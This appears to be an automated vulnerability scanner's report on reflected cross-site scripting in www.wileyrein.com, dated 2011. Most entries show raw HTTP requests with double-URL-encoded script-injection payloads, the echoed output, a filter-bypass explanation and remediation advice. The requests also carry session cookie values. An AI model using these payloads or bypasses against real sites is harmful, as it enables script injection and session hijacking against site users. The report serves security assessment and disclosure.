GET /cssde5e6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e848b9694317/_navMenu.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95db9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaee734d6695 was submitted in the REST URL parameter 2. This input was echoed as 95db9"><script>alert(1)</script>aee734d6695 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/_navMenu.css95db9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eaee734d6695 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:13:24 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25b68%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec5762ef40df was submitted in the REST URL parameter 1. This input was echoed as 25b68"><script>alert(1)</script>c5762ef40df in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css25b68%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec5762ef40df/_navSearch.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd77a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0a210746c61 was submitted in the REST URL parameter 2. This input was echoed as fd77a"><script>alert(1)</script>0a210746c61 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/_navSearch.cssfd77a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0a210746c61 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17ef6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb4bcf499c51 was submitted in the REST URL parameter 1. This input was echoed as 17ef6"><script>alert(1)</script>b4bcf499c51 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css17ef6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb4bcf499c51/_slide.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfc8a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edf9115355d was submitted in the REST URL parameter 2. This input was echoed as dfc8a"><script>alert(1)</script>df9115355d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/_slide.cssdfc8a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edf9115355d HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51eff%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e085a170e769 was submitted in the REST URL parameter 1. This input was echoed as 51eff"><script>alert(1)</script>085a170e769 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css51eff%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e085a170e769/main.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78b32%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb5e2c8ed40b was submitted in the REST URL parameter 2. This input was echoed as 78b32"><script>alert(1)</script>b5e2c8ed40b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/main.css78b32%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb5e2c8ed40b HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78055%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea8d52b987de was submitted in the REST URL parameter 1. This input was echoed as 78055"><script>alert(1)</script>a8d52b987de in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css78055%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea8d52b987de/ui/ui.accordion.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 801be%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e35c17289cf6 was submitted in the REST URL parameter 2. This input was echoed as 801be"><script>alert(1)</script>35c17289cf6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui801be%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e35c17289cf6/ui.accordion.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2a82%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb61ee3f3a8a was submitted in the REST URL parameter 3. This input was echoed as a2a82"><script>alert(1)</script>b61ee3f3a8a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.accordion.cssa2a82%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb61ee3f3a8a HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 874a6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebba185a7c96 was submitted in the REST URL parameter 1. This input was echoed as 874a6"><script>alert(1)</script>bba185a7c96 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css874a6%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ebba185a7c96/ui/ui.all.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3782d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e27d4aec5989 was submitted in the REST URL parameter 2. This input was echoed as 3782d"><script>alert(1)</script>27d4aec5989 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui3782d%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e27d4aec5989/ui.all.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c332a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb48dfbd1665 was submitted in the REST URL parameter 3. This input was echoed as c332a"><script>alert(1)</script>b48dfbd1665 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.all.cssc332a%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb48dfbd1665 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9aa04%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f73509fbde was submitted in the REST URL parameter 1. This input was echoed as 9aa04"><script>alert(1)</script>3f73509fbde in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css9aa04%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e3f73509fbde/ui/ui.base.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:05 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a32e5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb7ea1967ea4 was submitted in the REST URL parameter 2. This input was echoed as a32e5"><script>alert(1)</script>b7ea1967ea4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/uia32e5%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb7ea1967ea4/ui.base.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4008%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e674bcd1bc31 was submitted in the REST URL parameter 3. This input was echoed as a4008"><script>alert(1)</script>674bcd1bc31 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /css/ui/ui.base.cssa4008%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e674bcd1bc31 HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cfd19%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e32dc5bc06f was submitted in the REST URL parameter 1. This input was echoed as cfd19"><script>alert(1)</script>32dc5bc06f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /csscfd19%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e32dc5bc06f/ui/ui.core.css HTTP/1.1 Host: www.wileyrein.com Proxy-Connection: keep-alive Referer: http://www.wileyrein.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=18263656; CFTOKEN=43582841
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:12:44 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cac63%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5d010f954eb was submitted in the REST URL parameter 2. This input was echoed as cac63"><script>alert(1)</script>5d010f954eb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
